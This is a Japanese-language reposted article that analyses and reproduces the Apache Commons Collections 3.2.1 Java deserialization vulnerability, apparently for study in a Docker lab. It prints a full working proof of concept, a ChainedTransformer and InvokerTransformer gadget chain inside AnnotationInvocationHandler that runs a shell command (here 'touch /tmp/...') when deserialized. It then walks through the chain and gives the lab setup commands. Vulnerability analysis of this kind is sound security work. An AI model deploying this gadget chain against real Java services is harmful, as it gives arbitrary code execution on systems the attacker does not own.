ホームページ  >  記事  >  運用・保守  >  Apache Commons Collections のデシリアライゼーションの脆弱性を分析して再現する方法

Apache Commons Collections のデシリアライゼーションの脆弱性を分析して再現する方法

PHPz
PHPz転載
2023-05-14 14:04:061252ブラウズ

1.1 ステータス

脆弱性マイニング状況の分析と脆弱性の再現が完了しました。

1.2 脆弱性分析

セキュリティ上の欠陥があるバージョン: Apache Commons Collections 3.2.1 以下、[JDK バージョン: 1.7.0_80] Apache Maven 3.6.3。

POC コア コード:

package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//        //触发漏洞//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//        onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();//    }//}}}

脆弱性悪用のアイデア:

Transformer インターフェイス実装クラス -InvokerTransformer()。任意の関数を呼び出すことができます。

Runtime.getRuntime().exec(cmd) を実装するには、transformer を複数回呼び出し、現在の戻り結果を次の入力情報として使用する必要があります。

Runtime.getRuntime() を呼び出すには、入力パラメーターを出力として直接使用できる ConstantTransformer クラスを検討してください。

ChainedTransformer 実装クラスとして、受け取った Transformer 配列に対して、独自の変換メソッド (パラメータはユーザーが入力) を使用して Transformer 配列オブジェクトを 1 つずつ処理し、その結果を入力として使用します次に繰り返される呼び出しのパラメータ。そのtransform()メソッドが脆弱性を引き起こす可能性があります。

逆シリアル化パス、つまりデータの読み取りが逆シリアル化されて実行されるパスを見つけるには、ChainedTransformer オブジェクトの .transform() メソッドを逆にトリガーできるパスを探します。

HashMap クラスはキーと値のペアの形式でデータを保存でき、put(key, value) メソッドはデータを保存できます。

TransformedMap クラスの機能は、キーと値のペアを保存し、それらを変換オブジェクトに変換することです。decorate() メソッドはキーと値のペアを作成でき、checkSetValue() メソッドは this.valueTransformer をトリガーします。 .transform() ステートメント。逆の順序で検索して checkSetValue() [1] を呼び出し、this.valueTransformer を ChainedTransformer オブジェクト [2] にします。

[2] の場合、TransformedMap クラスの静的メソッドdecorate() で目的を達成できます。

[1] の場合、AbstractInputCheckedMapDecorator クラス MapEntry 静的クラスの setValue メソッドは this.parent.checkSetValue(value) を実行し、this.parent を TransformedMap オブジェクトに設定する必要があります [ 3] 。

[3] については、POC でのこのコードの前向き分析:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

調査によると、実行プロセス中に、TransformedMap オブジェクトが AbstractInputCheckedMapDecorator クラスの this.parent に何度も割り当てられます。 Map.Entry オブジェクトは setValue() メソッドを実行するだけで脆弱性をトリガーできます。

汎用性を向上させるには、逆シリアル化メソッドを呼び出すときに脆弱性をトリガーする方法を見つける必要があります。そのため、「逆シリアル化 readObject() をオーバーライドして setValue() を実行する」の要件を満たすクラス オブジェクトを探すことを検討してください。 ) の Map クラス オブジェクト変数。同時に、この変数を制御し、キー値データを割り当てることができます。」 AnnotationInvocationHandler クラスは、この要件を満たします [Map タイプのメンバー変数の各エントリで setValue() を呼び出します]。

Class.forName() 関数はクラスをロードします。

[1] について、POC のコア コードの前方分析を再度分析します。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();

調査によると、実行プロセスは MapEntry 静的クラスの setValue メソッドを実行し、 this.parent=TransformedMap オブジェクトとなるように、entrySet メソッドを実行すると、脆弱性が引き起こされます。

一般に、前向き POC 構築のアイデアは次のとおりです。まず ChainedTransformer オブジェクトを構築し、次に Map オブジェクトを作成し、次に TransformedMap クラス インスタンスを使用して ChainedTransformer オブジェクトを Map クラス オブジェクトに保存し、エクスペリエンスを取得します。リフレクション メソッド経由 Map クラス オブジェクトによって初期化され、シリアル化された AnnotationInvocationHandler クラスのインスタンス。

1.3 Docker の再現

生成された Docker イメージをダウンロードし、次のコマンドを使用します:

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1

LAN とコンテナ IP を設定し、コンテナを起動します。例:

(1) ネットワークのカスタマイズ

docker network create --subnet=192.168.10.1/24 testnet

(2) Docker コンテナの起動

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

コンテナ [Apache-Commons-Collections] で、コマンド [java -jar commons-collections] を実行します-3.1.jar ] を選択すると、以下に示すようにファイル [CommonsCollections3.1] が生成されます。

如何进行Apache Commons Collections反序列化漏洞分析与复现

以上がApache Commons Collections のデシリアライゼーションの脆弱性を分析して再現する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。